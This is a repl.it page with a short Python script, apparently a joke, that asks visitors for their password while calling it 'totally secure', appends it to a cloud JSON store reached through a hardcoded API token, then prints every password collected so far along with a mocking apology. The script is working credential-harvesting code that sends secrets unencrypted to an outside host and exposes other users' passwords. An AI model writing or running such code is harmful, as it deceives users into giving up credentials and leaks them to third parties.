repl.it
@ebest/

CloudyClumsyPasswords

Python

No description

fork
loading
Files
  • main.py
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from getpass import getpass
from time import sleep
from os import system
import json_store_client
client = json_store_client.Client(
    '2a92320f57f6bfffabd91fea9f7b788d290e6d1cd274ce6c16237aa3df1c4bd8')
password = getpass("What's your password? this is totally secure. ")
system('clear')
print("Processing...")
passes = client.retrieve("passwords")
passes.append(password)
client.store("passwords", passes)
sleep(3)
system('clear')
for passw in passes:
	print(passw)
print("Oops! I dropped your unencrypted password onto the cloud. There were all the passwords of the past people, and yours. Sorry, just me being clumsy. Otherwise, everything is still secure.")